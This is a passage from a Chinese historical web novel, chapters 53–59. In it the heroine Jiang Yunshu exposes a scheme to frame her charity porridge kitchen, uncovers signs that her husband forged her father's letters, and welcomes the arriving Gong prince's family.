老夫人拧着眉看高芝兰,满脸阴骛,若非那道士批命说她旺夫可助大郎仕途平坦,以高芝兰的身份,绝无可能是沈家正妻! 高芝兰当即跪在老夫人面前,还没开口,眼泪先落了下来。 “母亲,我不是有意瞒着您……” 趁着这一屋子乱的时候,姜云舒抬眼自窗边看了一眼外面月色,唇角微微勾起。 差不多了。 “如今我帮不上什么,便先行告退了,免得不小心又说了什么激化矛盾,沈大人和老夫人反而要怪罪在我身上了。” 说着,她朝老夫人委了委身。 沈清安脸色阴沉得可怕,可在老夫人和高芝兰有冲突矛盾时,又不想让姜云舒看着,他紧皱眉头,倒也没说什么。 揽芳院。 姜云舒回来时,月禾已经换下了夜行衣。 “小姐。”月禾见姜云舒进屋,转身关上门,“我查到沈清安的书房有一处暗室,时间不够,我暂时没能破解暗室入口,不过,我从书房的火炉里找到半段没燃尽的纸。” 说着,她将一片残页递给姜云舒。 姜云舒低头,细看之下,原本平静的面上多了几分冷肃。 那残页之中,行书习惯和父亲极为相似! 第54章 相同的字迹 月禾见她神情不对,紧忙问:“可是发现了什么?” 姜云舒抬手,指向那残页中的几个字,“你看,这一行中,永字和望字,上面的点形如蝌蚪,与父亲极为相似。” 月禾顺着她的指向看去,随即恍然瞪大眼睛,“难不成,当初搜出的书信是沈清安伪造?” “只凭两个字,还不能下定论,看来,这沈家的中馈我们还是得要回来,掌握中馈,才有可能出入那个书房。”姜云舒眼眸越发幽深。 一家中馈管的是府上一应事务和花销,如今沈清安回来,之后自应向他汇报,要查账,自然是去沈清安的书房。 月禾亦认同地点点头,“如今老夫人对那高氏颇有微词,这时候咱们把城外粥棚挂靠在沈家名下,老夫人估计能把中馈还给咱们。” “不是咱们去要。”姜云舒抬手在月禾脸上点了一下,“当初是他们强势从我手中夺走库房钥匙,再还回我手里,他们得求着我接。” 清竹园。 沈清安自福寿园回来,心里总是有种隐约的不安,这不安说不清楚来自哪里,但让他心神不宁。 到了清竹园,他下意识开口问门外守卫,“晚上可有人来过?” “回大人,未曾有人来过。”侍卫回答。 沈清安稍稍安心一些,抬脚往里走,子固上前将烛灯点上,火光照亮的一瞬间,他下意识看向暗室的方向。 那股不安的感觉再次涌来,沈清安上前,伸手拨动机关,随着墙面打开,里面还有一道石门,他掏出钥匙入锁孔,随着“咔哒”一声,石门打开,密室才展现眼前。 沈清安抬脚往里走,一直走到密室墙面的物架上,上面收录多是信件,另一排架子都是姜兆霖的手稿。 没有人知道,他善临摹,短短三个月,他足以写出与姜兆霖相差无二的字。 当年,正是因为这一技能入了那位的眼,所以,在姜家提出与他结亲时,那位便以他妻儿的安危威胁,逼迫他娶姜云舒。 是的,这桩婚姻的确是被逼迫,只是,他无力反抗那位人物,便将这怨恨都算在了姜兆霖和姜云舒身上。 翌日,晨光熹微。 姜云舒一早便规整好,随月禾去了城外粥棚。 眼看越来越多的灾民涌向京城,随后被一城大门关在外面,姜云舒心情就莫名沉重。 一个人的能力有限,她救不了这么多人。 粥棚用的米是庄子上送来的,这日新米送到,姜云舒与月禾检查过才让人搬进了就近的粮仓。 正忙着,就见裴钰骑着马朝这边奔来。 “姜云舒,有话跟你说。” 裴钰翻身下马,拽着姜云舒就往帐篷里走,月禾顿了一下,也跟了过去。 “什么事儿这么急?”姜云舒问。 这次裴钰也不卖关子了,直接道:“我刚收到信儿,荣三爷要来京城了。” 药王谷荣家老三,原本是家族之中医药天赋最强的一个,奈何这人性子放浪不受拘束,一不高兴就离家出走,将药王谷那一摊子甩给他二哥。 “荣三爷啊,怕不是又离家出走。”姜云舒见怪不怪,随即又吩咐月禾,“稍后你跟韩掌柜说一声,将锦园收拾出来。” “是!” 月禾应声正要往外走,就听帐篷外传来吵嚷的声音。 “这米是馊的!” 那声音高亢又中气十足,只一声,便将众人的注意力引了过去。 那人头上无毛,一双眼睛透着凶光,在众人看向他时,快速从灶台后面拖出半袋米,伸手往里抓一把,竟是表面发黑的米,口袋打开的瞬间,还有馊味冲出来。 饥饿之下,灾民最大的需求便是果腹,也尝不出是新米还是陈米,加之粥棚熬煮时间长,便是有发霉发馊的情况,也已经在清洗和熬煮之中散干净了。 如何能分辨是新米还是馊米? 领粥的灾民看看自己碗里的粥又看看那人手里的馊米,一时间表情各异。 “不,不能吧……沈夫人这些时日在粥棚亲力亲为,我们可都是看在眼里的,这样好的人,怎么会拿馊米给我们吃?” “粥棚之中负责烧火搬运和分发食物的帮工,有不少是灾民,若是馊米,他们怎么不闹?” “你这就不懂了,肯定是使了银子啊!” “你这样揣测,那你倒是说说,沈家这样做是图什么?人家设棚施粥本就是行善,若真用馊米,岂不是自毁名声?” 一时间,围观的百姓和灾民各持己见,有和姜云舒熟悉起来的,相信她的为人,更多的却是猜忌和看热闹。 眼看着外面就吵起来了,一开始大喊“馊米”的光头,脸上越发得意。 这气氛,他可是炒起来了。 众人正议论,只见帐篷门帘掀开,姜云舒和月禾走了出来。 “闹什么闹!忙活半日,能不能让人吃口饭了!” 月禾怒气冲冲出来,几步便到了那光头跟前。 “是你闹事?”她眉梢一挑。 许是气势太强,那光头眼神竟缩了一下,随即将拎着的袋子往月禾跟前一扔。 “是又怎么样?你沈家粥棚用馊米,还不让人说了?” 说话间,又看向姜云舒,“听说这位夫人娘家可是通敌被流放的,想来设粥棚的也是另有目的,既不真心为灾民,用馊米也没什么奇怪的了。” 这话一出,百姓之间议论声再起。 “哎呀,通敌?难不成是两年前那位定国将军?” “可是听说那位将军镇守北域,这才得以让北域边境稳固,通敌这种事,可不好乱说。” 光头听着众人的一乱,脸上得意更甚。 “这有什么乱说的,贩卖兵器贪污军款,那可是调查清楚了的。” 他看向姜云舒,眼底带着挑衅,“这用在粥米上的银子,该不会是贪污赃款……哎哟!” 他的话尚未说完,只见月禾抬起一脚踹在他胸口上,直接将人踹飞了几十米,紧接着“砰”的一声摔在地上。 百姓一时间哄散而开,许是担心被牵连,亦或者是看到有官差朝这边走来,一时间让开了一大片空区。 姜云舒并未被那人言辞影响,她几步走过去,居高临下看着躺在地上疼得五官扭曲的人。 “我姜家的事,自有皇上定夺,轮不到你一个刁民走狗置喙,倒是你,你说我粥棚用馊米,可有证据?” 她神情平静,可字字句句出口,如淬了冰一般,让人不寒而栗。 第55章 坑害灾民 光头在地上滚了几圈,捂着肚子强撑着起身。 “米都拿出来了,你还要什么证据?”他梗着脖子,可闪烁的眼神已经露了怯,“我说实话却遭你们动手毒打,还有没有王法了!” 他一边说,一边防备着月禾再动手,接连退了好几步。 姜云舒只是站在原地,她看着他,神情平静,“我粥棚用米,均是放置于特定帐篷,外面有卫队全日巡逻,你又是如何拿到这半袋米的?” “我自然是在你们煮粥用米时发现的,我闻到味道不对,这才去灶上看,结果竟找出这半袋嗖米,如今大家都看见了,怎的,你还想抵赖不成?” 他开口行云流水,仿佛这套说辞早已提前练习了多次。 然而,这话一出,却见月禾朝他“呸”了一声。 “你再说一遍,让大家听听清楚?” 月禾眼睛一眯,吓得那光头又退两步,刚好撞在了闻声过来的官差身上。 光头瞧见官差,似是找到了靠山,扭头又朝姜云舒和月禾叫嚣。 “看见没,官爷在此,你们还敢动手?” 姜云舒睨了光头一眼,看向铺头,“既然诸位到了,那便将人带走吧。” “什么?” 光头圆瞪着眼睛,仿佛幻听了一般。 “你说什么?带,带我?你这黑心毒妇给灾民用馊米,应该是你被带去京兆衙门才对!” 光头面目狰狞,却隐藏不住闪烁眼神中的慌乱。 姜云舒看他,勾起的唇角带着嘲讽,“哦,你大概不知为何,那我便让你死个明白。” 她摆摆手,月禾便从帐篷里拿出一袋米。 装米的袋子和那光头方才拿的半袋米一样,只是月禾拎出来的袋子上有一个红色印章。 “灾民入口的粮食,事关重大,我粥棚所用米面皆由京兆府尹做过检测,才送至粥棚,便是以防有不轨之人栽赃陷害。” 说着,她接过月禾递来的匕首,刀尖在米袋上割破一个口子,里面白花花的米便展现在众人面前。 姜云舒做事,向来习惯未雨绸缪,尤其如今这般关键时刻,防人之心不可无。 之前她将从沈清安手里赚来的那车药材送到了京兆府,以提前预防疫病,换来了京兆府配合验米做她的保障,要的便是如今这效果。 “这大米的成色,是新米啊!” “这么醇厚的米香,与我们每日喝的粥一样,这才是我们吃的米。” “香味倒是一样,可我们的米粥里还搀着一种黑色的很硬的谷类,每每喝粥还要吐出来,我看这米里面没有呢。” “这你就不懂了,之前恶霸抢粮就是因为看上我们煮粥用的米好,听煮粥的伙计说,那些黑色谷类叫僵谷,有了这些僵谷,恶霸自会嫌弃,但灾民却不会,这样一来恶霸便不再来抢夺了。” 百姓之中又是一番议论,那光头看着姜云舒跟前那白花花的米,瞪大的眼睛里尽是慌乱。 “不,不可能!你们肯定是好米馊米掺着用,我……哎哟!” 他的话还没说完,便被捕头一巴掌扇在了后脑勺上。 “刚才沈夫人的话你没听到?粥棚的米是经过京兆府检验之后送过来的,怎么,你是说我们京兆府与沈夫人伙同欺瞒百姓?” 光头被一巴掌扇懵了,眼珠子瞪着,半晌没回过神来。 捕头也不跟他废话,摆摆手,手下便带着枷锁过来,不由分说给光头戴上。 光头愣了一瞬间,张嘴便喊,“官爷,我冤枉,误会,这都是误会啊!” “误会?”姜云舒看着那光头,“连我娘家事都调查过,我可不觉得你今日此举是误会。” 说着,她又转向捕头,“他一阶市井百姓能调查到定国将军府的事,必定还有其他身份,亦或者,受人指使,事关灾民安危还请关爷细细审问。” “夫人放心,府尹大人向来公正不阿,若真有人不顾灾民安危栽赃陷害,定不能让他全身而退!” 说完转身又给那光头后脑勺来了一巴掌,“不长眼的东西,竟敢来粥棚闹事,二十板子看我不把你打得皮开肉绽!” 衙役带走光头,热闹也没得看了,周边百姓四散开来。 姜云舒站在原地,片刻,月禾拎着一个小厮的领子到跟前,抬手一扔。 小厮“哎哟”一声摔在地上,来不及疼,赶紧爬起来朝姜云舒跟前一跪。 “夫人饶命,月禾姐姐饶命,别打,是我,二顺啊!”二顺咧着嘴赔笑。 二顺,沈府的小厮,这小子机灵嘴甜,进府两年就做了二门外听差的小厮。 不过,也是太过聪明,做事喜欢权衡利弊,在沈清安和高氏回来之后,便很少在姜云舒跟前听差了,其中缘由,姜云舒自是心里明白。 “是你呀!”月禾低头睨着他,“你不是大清早便出门给流芳院那位办差了吗,如今怎的又在这里?难不成,是来监视我们?” “哎哟,月禾姐姐这是说得什么话!小的是经过,听到粥棚出事,这才过来瞧瞧,万一真闹起来,好赶紧回去报信儿呀!” 二顺一副“忠心耿耿”的模样,他一边说着,小心翼翼地观察姜云舒的表情,“我就说这点小事在夫人面前不值一提。” “难得你这般有心。”姜云舒眉梢轻垂,“如今事情原委你也看到了,那便回去禀报吧。” “哎!”二顺刚应一声,紧接着反应过来,面色一紧,“夫人叫我禀报给谁?” “谁叫你来的,你就禀报给谁呗!”月禾忍不住朝他翻个白眼。 谁都不是傻子,糊弄谁呢! 二顺面露紧张,他不敢再问,见姜云舒朝他摆摆手,紧忙转身就跑。 “哼,果然是她,这沈家没有一个省油的灯,若是我说,方才众人面前就该把事情闹大,倒要看看沈家如何处置她!”月禾站在一旁咬牙求切齿。 若说之前是因为考虑不周才出事,如今高芝兰可就真是作死了,姜云舒如今是沈家夫人,这事儿调查清楚捅出来,败坏的就是沈家的名声,且不说沈清安是不是还护着她,老太太肯定是不能容她的。 “当着百姓的面闹起来,这事儿就大不了,要闹,就得去让沈家护不了短的地方闹,既惩治了她,还不能让沈家抓我们的错,毕竟这粥棚到我手里不能出事,日后这政绩,可是我们自己的。”姜云舒幽幽开口。 第56章 我可以帮你杀人哦 其他好说,这粥棚她得自己握着,自从她接手这粥棚,她用的是庄园的人,与各处奔走打交道用的是她姜云舒的名,之后她还准备连带城外灾民一起安置了,待皇上回宫,这接济灾民的功德便不再是沈家,而是她姜云舒的了。 凡事不能指望别人,掌握在自己手里才踏实。 新米重新熬煮了粥分发给灾民,灾民领到食物,便对着姜云舒这边磕头。 “感谢沈大人,感谢沈夫人,真真是菩萨救世啊!”他们高喊。 灾民心思单纯,他们的要求不过是果腹,利用灾民,才是罪大恶极。 姜云舒自是不在乎这些虚荣,分完手里的饼,又拎过一篮朝墙角远处走去。 灾民进京是分批过来的,能进城的便是最早一批,同批灾民也有身形体力强弱之分,被赶置墙角处的,多是老弱病残,有些甚至连走动都难。 姜云舒制定一系列食物分发规则,其中一个原因也是为了照顾到这些人。 “吃点东西吧……” 分至一处阴凉,那灾民闻声抬头,视线与姜云舒相撞,姜云舒一顿,拿着饼递出去的手又收了回来。 眼前这人一身粗布褴褛,但抬眸之间,眼底精气神不散,倒与这些满脸疲态饥饿的灾民明显不同,更别说残弱。 尤其,那双眸子抬起的瞬间,让她有种似曾相识的错觉,不过,那人眼中没有阴骛杀戮的寒意,而且,他眼角下坠着一颗泪痣,和那人并不一样。 “看你年轻力壮,也不像是身体有疾的样子,如今已经进了城,便是没有救济,也能凭力气换得一些吃食!” 灾民进城,行动并未受限,他既身无病痛,进城找些活计,使膀子力气便能换得食物,何苦与妇孺幼儿在此等人救济? 她拧着眉头,将送出去的饼子收了回来,转手递给了那人旁边的孩子。 身强力壮的男人,哪里来的脸与老人孩子一起等着分食物? 那人斜倚在角落的墙边,闻言抬头看着姜云舒,清眸之间似是有笑意一闪而过。 “谁说不是呢,奈何你们京城人排外,听说我是逃难而来,人家便是门都不让进,不若夫人给我个出力的机会,让我换得吃食?” 阳光太过强烈,照得他微微眯起眼睛。 他这话倒也不假,之前有灾民生病,一度造成病疫恐慌,多数人对难民避之不及,有极端者,还想把灾民赶出城去,那些抢夺粮食的恶霸便是这么来的。 姜云舒低头看他,这人五官深邃,便是脸上沾染污浊,依旧遮不住俊朗的面容,饶是沈清安这般探花容貌,在这人面前,似乎也逊色了几分。 只是,这人俊朗之中,还透着一股痞意,玩世不恭的模样,难免让人觉得不正经。 “不必,我身边不缺人使唤……” 姜云舒拒绝的话尚未说完,只见那男子上前一步。 “我可以帮你杀人哦。”他朝姜云舒眨眨眼,言语之间带着几分玩世不恭,“沈清安这人,啧啧啧……可不是什么好人。” 他靠得很近,气息沉稳有力,自是练武之人才有的,此刻他低头看着姜云舒,那双明眸含笑却如深渊一般,让人无法洞悉。 危险,这种感觉自恍惚间闪过,姜云舒后退一步,下意识防备。 “那你又是什么好人。” 上来就说可以帮忙杀人的,不是穷凶极恶之人,那便是变态。 尤其,他张口要杀的便是一个五品官员。 “我嘛……再不济,后宅内院断不会出现两位夫人。” 男人周身阴霾散开,好看的眼睛弯起,自唇畔之间飘出的字眼透着几分蛊惑味道。 “定国将军府独女,自是一身傲骨,便是娘家人流放,气节总不会消失,姑娘又如何能受得沈家这般折辱?” “你是什么人!”姜云舒眸光霎时凌厉。 “定国将军府”这一称呼在京城已然是禁忌,本城百姓尚且不认识她,更何况他一个逃难来的灾民,可他不仅认识,还知道她是定国将军府的独女。 甚至,她如今对外是沈夫人,他却称呼她为“姑娘”,这明显是瞧不上沈清安,虽说沈清安的确让人瞧不上,可沈家的事所知之人甚少,他又如何知道? 眼前面孔陌生,却似乎对她了如指掌,姜云舒却对他一无所知,这种感觉实在不爽,便让她的防备又平添一层。 “我啊……” 那男子却依旧笑着,他后退两步靠在墙上,依旧一副懒洋洋的模样。 “我是逃难来的灾民啊!”他仰着头,闭着眼睛任由阳光落在他脸上。 姜云舒眼眸微眯,灾民,他可不像! 他身上穿的虽是褴褛粗布,可举手投足之间却不失雅状,便是态度玩世不恭,也只是轻狂而未见猥琐。 这番姿态,怀疑他出身名门也不为过。 姜云舒目光落在他身上,审视之意毫不掩饰,正欲再问,只见月禾急匆匆过来。 “夫人,京兆衙门那边让你去一趟。” 她缓了一口气,道:“那光头嘴硬的很,挨三十棍,腿都打折了,竟一个字都不吐,只说是想讹咱们捞点油水,其他一概不说。” “于这种人来说,身上几块烂肉远不及银子来得实在。”姜云舒冷哼一声,又在月禾耳边低声了几句,这才往京兆衙门去。 此刻城墙角落,谢无烬瞧着姜云舒离开的身影,星眸微微眯起。 对待恶霸,讲道理可不行。 沈府。 高芝兰自前庭花园已经坐了一个时辰,早春之际,北方绿意寥寥,更何况是花? 她迎风喝着茶,眼睛盯着满园的枯枝,虽强装镇定,却依旧压制不住手尖的轻颤。 “你说,那张小甲应该不会把我供出来吧?”高氏不自信,忍不住问。 方才,二顺回来之后,将姜云舒跟他说的话原封不动的跟高芝兰学了一遍,她向来善察言观色,自是瞬间明白了姜云舒的意思,当时一身冷汗就下来了。 她也是心虚,在房里坐不住,便跑出来吹冷风。 “都一个时辰了,还没有动静,想来不会有事。” 丫鬟春桃连忙应答,说着,又给高芝兰的茶杯续上热的,“更何况,这事儿夫人并未亲自插手,即便那张小甲招了,也找不到咱们头上。” 听她这样说,高芝兰才稍稍放下心来。 “说得也是。” 高芝兰点点头,杯盏递质唇边准备喝一口压压惊,便听浑厚嘹亮的声音自大门口传来。 “我等奉京兆尹大人之命,请沈家妇高芝兰京兆衙门走一趟!” 第57章 她不如姜云舒 当啷—— 高芝兰手中杯盏应声落地,白瓷的杯子砸在青石板的桌子上,碎了一地,如同高芝兰此刻悬着的心,终于死了。 这京兆衙门,她终究是逃不过! 京兆衙门。 高芝兰来时,一眼便看到被衙役压着趴在木凳上的张小甲。 三十棍,张小甲双腿几乎被打断,后背上一片血渍,唬得高芝兰双腿一软,直接跪在了地上。 “民妇,见过京兆尹大人!” 京兆尹撩起眼皮看一眼,紧接着惊堂木往桌上一摔。 “大胆刁妇,竟唆人栽赃陷害,你可知罪!” “民妇冤枉啊!” 知不知罪的,先喊冤,尤其高芝兰这拉长了音调的哭喊,听起来倒是轻车熟路。 二进京兆衙门,京兆尹对高芝兰这张脸已经很熟悉了。 许是听烦了这没有实质的喊冤,京兆尹直接将方才光头,哦,张小甲按了手印的证词拿给高芝兰。 “人证赃款俱在,你还有什么狡辩?”京兆尹冷冷开口。 一开始,张小甲的确拒不招供,直到姜云舒提醒他们翻找他的住处,找出一百多两银子,张小甲瞬间便绷不住了,当即供出是沈家人。 不过,他也只知道是沈家人,具体不知道是哪一位,可事情寸就寸在,其中一张百两的银票是岩城钱庄的章印。 从岩城来的,那便是沈清安和高芝兰,在外人看来,这粥棚是沈家的,沈清安不会自毁前途口碑,嫌疑自是排除了。 嫌疑人便只剩下高芝兰。 高芝兰瞧见那张岩城的银票,恨不得给自己一巴掌,怎么就这么不仔细,当初没检查清楚呢。 如今证据都贴到了脸上,她如何解释? 她慌了,正慌着,扭头瞧见站在一旁看热闹的姜云舒,顿时手腕一转。 “青天大老爷,您可要明鉴啊!我与相公的确从岩城回来,可相公这么多年,也曾向家中送过银钱,家中任何人都有可能啊,尤其是姜云舒!” 她的手指向姜云舒,“她之前可是掌管着沈府中馈,这样多的银子,府上恐怕没有几个人能拿得出来,她怕不是贼喊捉贼吧。” 一句话说完,她抬头看了一眼京兆尹的表情,继续声色俱厉道:“大人明鉴,我是相公多年前失散的原配,如今回归沈家,姜云舒便将我视为眼中钉,她此举就是想将我和幼子赶出沈家啊!” 话还没说完,她的眼泪已经下来了。 不得不说,有时候高芝兰的反应还挺灵敏,这三言两语下来,将她的栽赃陷害转移给了姜云舒,而且还说得有理有据有动机。 若非京兆尹知道姜云舒此前为灾民实实在在做了什么,说不定还真要被她蒙蔽。 “你此番说辞,可有证据?”京兆尹皱了皱眉。 高芝兰猛然抬头,张张嘴无从回答,反问道:“大人说我栽赃陷害,也没有个实证啊,仅凭一张银票,那有嫌疑的人可就多了。” 似是有了底气,高氏跪着的身子抬了起来。 京兆尹:“……” 还真是巧舌如簧! 他看向姜云舒,姜云舒此刻却看向大堂之外,京兆尹疑惑,顺着她的眼神看出去,就见沈清安匆匆进来。 “这又是怎么回事!” 他一进大堂就见高芝兰和姜云舒两个都在,当时那张脸简直黑到了底。 高芝兰见沈清安来,当即鼻子一抽又要哭,却听姜云舒先她一步开了口。 “高氏指认大人栽赃陷害我粥棚用嗖米。”姜云舒开口。 “什么?”沈清安眼珠子都快瞪出来了。 这简直荒谬! 京兆尹也没料到她来这么一句,刚喝进一口茶,差点喷出来。 就连高芝兰都傻眼了,呆愣了好一会儿才回过神来。 “你胡说!”她尖锐的嗓音抬高,朝姜云舒怒瞪,“我何时说过是相公?我只是说,沈府大家都……” 话说一半,她猛然间停住。 方才只是在京兆尹和姜云舒面前,她这么说也就说了,当着沈清安的面儿,她不管指认谁,那都是沈家的人。 “到底怎么回事?”沈清安不理会高芝兰,抬头看向京兆尹。 京兆尹到底是将那口茶咽下,耐着性子将刚才的话又重复一遍,当然,刚才高芝兰的话也如实传达了。 毕竟,那可是高芝兰的供词。 待京兆尹说完,沈清安眼睛里都快冒火了,他瞪着高芝兰,怒斥一声“蠢货”,转而又看向张小甲。 “若是没猜错,本官进京之前,你便来拦过本官的马,甚至企图强行将本官带去锦州!” 张小甲低垂着的脑袋猛然抬起,他瞪着沈清安,原本因疼痛布满眼底的红血色更红了。 “狗官,我*你姥姥!” 情绪激动之下,张小甲几乎要翻下木凳,不过最终还是没挣扎开,被捕头一肘击打晕了。 这反应,算是证实了沈清安的话。 沈清安很满意如此表现,遂转身再次面向京兆尹。 “听说这张小甲在城门还提及我夫人娘家事,如今又用岩城银票做证,难免让人不想这是他故意引导,所谓栽赃陷害,目的不在粥棚,而在本官,之前本官回京路上遇到灾民拦截,求助本官转途去锦州,奈何未有圣旨本官不可私自改程,是以被记恨也在所难免。” 张小甲的确是锦州口音,又煽动灾民闹事,这动机是成立的。 方才沈清安一番话,条理清晰,言语之间有理有据,不得不说,他能中探花,的确靠的不只是那英俊的脸。 京兆尹思量之下,也认同这一说法,摆摆手,命衙役将人带下去,不日再细审,毕竟,人都晕过去了。 如今在场的,除了京兆尹便是沈家这一家三口,京兆尹看着他们三个就觉得眼睛疼,摆摆手先让回去,随时等传。 沈清安脸色微微缓和,转身往外,走了两步又回来。 “你还不走!”他朝高芝兰喝一声。 虽说方才他的话是圆过去了,可实际是个什么大概,他心知肚明。 更何况高芝兰方才为了脱罪,不顾沈家颜面胡乱指认,这一点,她便不如姜云舒识大体。 想着,他又往后看一眼,今日姜云舒一身素衣,简单的发髻上未曾点缀任何珠钗簪环,夕阳斜照,映在她脸上,那裹挟着余辉的红色自她周身绽放,竟让他一时间看得恍惚。 这是,他娶回家的夫人。 姜云舒似乎意识到身侧灼热,扭头,正好与沈清安的视线撞上,当时心底猛然一沉。 他这样的眼神,什么意思? 不等她眉心蹙起,就见街道对面,裴钰一脸严肃地朝她奔来。 “姜云舒,恭王府的到了,此时距城南三十里。” 第58章 恭王府 “当真?” 姜云舒原本冷漠淡然的面上倏然多了几分欣喜,说话间就要往外走,却被沈清安拉住。 “姜云舒,你要去哪里?”沈清安抿着唇,额间青筋微微隆起。 姜云舒停住脚步,视线落在沈清安抓在她手臂的那只手上,眼底微沉。 “沈大人如今还有心情管我?” “你!”沈清安噎住,瞪着眼睛一时不知如何反驳。 高芝兰的视线亦在沈清安搭在姜云舒手臂的那只手上,原本阴霾的面上更添了几分暗沉。 她袖下双手用力攥了一下,似是想起什么,开口,“相公,你不是听到了吗,恭王府就要进京了,听说定国将军府与恭王府是旧交,姜夫人在儿时便喜欢追在恭王府世子身后,关系肯定也是极好的,出去迎接也是人之常情。” 话里话外,意指姜云舒和恭王府世子有私情,离间之意再明显不过。 沈清安自然听得出高芝兰话里的意思,却依旧被煽动,脸色更难看了。 “姜云舒,跟我回去!” 他的手用力,就要拽着姜云舒往回走。 就算她并非此生挚爱,可她终究进的是他沈家的门,做了他沈清安的妇,她怎么敢在听到别的男人时露出那样喜悦的表情。 更可恶的是,即便他归家那日,也没见姜云舒这样笑过! 姜云舒冷不防被他拽着走了两步,随即反应过来,猛地一把甩开他的手。 “听方才高夫人言语之间,倒是对我定国将军府的关系网了解得很,怎么,是你调查过我,还是沈大人调查过我定国将军府?” 她声音平和,可字字句句出口,让沈清安和高芝兰脸色骤然一变。 姜云舒不给高芝兰再开口的余地,侧目看向沈清安,“沈大人如今不让我走,是想让我为灾民闹事一案多提供些线索?我有的,趁邢大人还在,即便那光头昏死过去,这案子依旧可以接着审。” 言语之间是在警告沈清安,她之所以没在刚才将证据亮出来,是以大局为重,给沈家留脸面。 这话一出口,威慑了高芝兰,压制了沈清安,两人原本就难看的脸上,表情更是狰狞。 “用,用不着!回去之后,我们自会查证!”高芝兰紧忙拽了沈清安一把,“相公,我们回家吧,母亲如今还卧床,我不放心。” 沈清安脸色涨红,听高芝兰这一句,额间青筋绷起。 她还有脸提及母亲,若不是她放纵长元那个逆子动母亲的东西,母亲如今能卧床不起? “哼!” 沈清安恶狠狠的瞪了姜云舒一眼,拂袖而去。 高芝兰冷了瞬间,也紧忙追了过去。 待两人离开,月禾凑过来,一脸不解,“小姐,咱们还有什么证据?” 姜云舒扭头看她,无奈地沉沉叹一口气。 “这都听不出来,你家小姐是懒得跟他们纠缠,信口胡诌的!”裴钰忍不住开口。 月禾一时惊讶,瞪大了眼睛。 还能这样? 一个时辰后,南城之外。 姜云舒远远看到浩浩荡荡朝她而来的队伍,脸上笑意倏然绽开。 到了,他们终于到了! “驾!” 姜云舒猛地抽了一鞭子,烈马嘶鸣一声,迎着那队伍飞快奔去。 此刻,队伍前行侍卫队已经看到了姜云舒,回头禀报之后,撤了防备。 “阿舒!” 此刻,一辆锦缎丝绸装潢的马车里,一只修长纤细的手掀开车帘,紧接着探出头来。 正是姜云舒的大嫂,恭王府郡主闵青鸢。 “青鸢姐姐!” 姜云舒亦是兴奋惊呼一声,靠近的瞬间,腾身而起,直接落在了马车跟前。 闵青鸢紧忙下车,一把将姜云舒抱住。 “你可想死我了!”闵青鸢说着话,眼眶就红了。 夫家遭难,一家人四散分离,此刻再相见,心中难免激动。 “我也好想你!”姜云舒同样红了眼眶,抱着闵青鸢不松手。 两人正抱着,只见后面马车停下,恭王府世子闵司捷和世子妃扶着恭王妃下了马车。 姜云舒顿了一下,紧忙上前行礼。 “阿舒拜见闵伯伯,伯母。” “自家人,快免礼!” 恭王妃伸手扶起姜云舒,说着话,上下打量,瞧她似乎精气神不错,这才松了一口气。 “来,这是你司捷哥哥的新妇,快认识认识。”恭王妃又拉着世子妃,给她介绍,“这便是你姜叔叔家那个小恶霸,她叫云舒,叫阿舒便好。” “阿舒见过嫂嫂。”姜云舒紧忙向世子妃行礼。 “哪里有这样标致明媚的小恶霸。”世子妃紧忙扶了一把,视线在姜云舒脸上打量,“不过,你都叫你亲嫂嫂为姐姐,如何便称我为嫂嫂了?可是与我和世子疏远了?” 姜云舒楞了一下,原本看她柔柔弱弱的,想着不熟悉才这般称呼,却不想倒被埋怨了。 她扭头向闵青鸢求助,却听世子妃又道:“我闺名叫宋时澜,你便称我澜姐姐便好。” “澜姐姐!”姜云舒爽朗开口。 恭王府这一家子,在称呼上有种莫名的执念,且不说她与闵青鸢自小喊惯了姐姐,闵青鸢不准她改口,只说姐姐要比嫂子更亲近,如今这宋时澜也一样。 这边姜云舒正认人,裴钰和月禾也赶了过来,姜云舒给恭王府众人介绍,又是一顿寒暄。 说着话,恭王妃似是想起什么,又道:“听说,那位探花郎自成婚后便去了岩城治理水患,如今可是回京了?” 姜云舒满脸的欣喜,被一句“探花郎”瞬间僵住了表情。 她眼神闪了闪,正犹豫要不要如实相告,裴钰却快她一步开了口。 “老将军威武一世,这次却看走了眼,那个忘恩负义的王八,回是回来了,还带了一个原配回来!” “你说什么?”恭王妃眸光一凛,扭头看向姜云舒,“这是怎么回事?如何又多了一个原配?” 姜云舒本不想多说,扭头朝裴钰瞪一眼。 “伯母不必担忧,这件事我自会处理。”她回道。 这回答,明显是有些搪塞了,不想别人插手的意思也很明确。 “我知道你能处理,不过,我还是要提醒你一句,咱们姜家的儿女,即便丧夫也绝不与人做妾!”闵青鸢表情严肃下来。 第59章 父亲的未雨绸缪 “青鸢姐姐说得对,放心,我不会给人做妾的。”姜云舒郑重点点头。 闵青鸢眉心微蹙,面上担忧依旧不减,姜云舒见她这般,紧忙岔开话题。 “爹娘信里说,我有侄子了?快给我看看。” 提及孩子,闵青鸢面色这才缓和,紧忙招呼奶娘将孩子带过来。 姜云舒歪着头看向马车,就见奶娘抱着一个两三岁,奶呼呼软萌萌的孩子下了马车。 “孩子名叫姜知行,母亲提前取好的,小名稚儿,是我自己取的。”闵青鸢道。 “嗯嗯,好听!” 姜云舒连连应声,视线凝在那雪白小团子脸上,又激动又紧张,手朝孩子伸出去,却有点不敢抱。 这么软的娃娃,她还没抱过,万一她手上力气大了,给抱坏了可怎么办? 她一时不知如何是好,却见那小团子突然朝他伸出手来。 “姑姑,抱~” 软糯糯的声音自稚儿口中喊出,姜云舒一下子愣住。 “他知道我是……”姜云舒只觉心口有股暖意上涌,眼眶一下子就红了。 “自稚儿出生,你青鸢姐姐便画了定国将军府全家的画像,自小便让稚儿认人,他虽未与你们谋面,却都是认得的。”闵司捷解释道。 姜云舒只觉得鼻子一酸,转手将稚儿抱过来。 “哎,是姑姑,我是姑姑!”她将脸埋在稚儿软软香香的怀里,勉强压住哭出来的冲动。 恭王妃瞧她激动,抬手轻拍姜云舒的肩膀,“好啦,时候不早了,咱们先进城。” “对,先进城,咱们有话回家说!” 闵青鸢伸手去接稚儿,谁知稚儿却搂着姜云舒的脖子不放手。 “要姑姑!”稚儿奶声奶气地喊一声,趴在姜云舒肩膀上耍赖。 闵青鸢与姜云舒对视,轻笑一声,一同上了马车。 随着前面侍卫首领一声令下,恭王府的马车队再次启程。 闵青鸢落下车帘,原本柔和的表情再次严肃起来。 “阿舒,你实话跟我说,你之后什么打算?” 毕竟是从小便有的手帕交,闵青鸢知道姜云舒的性子,更了解她的为人,可唯一担心的便是她会真的伤了心。 姜云舒捏着稚儿软软的小手把玩,听闵青鸢问,随口回道:“我还没想好呢。” “你别想着糊弄我!”闵青鸢眸光一沉。 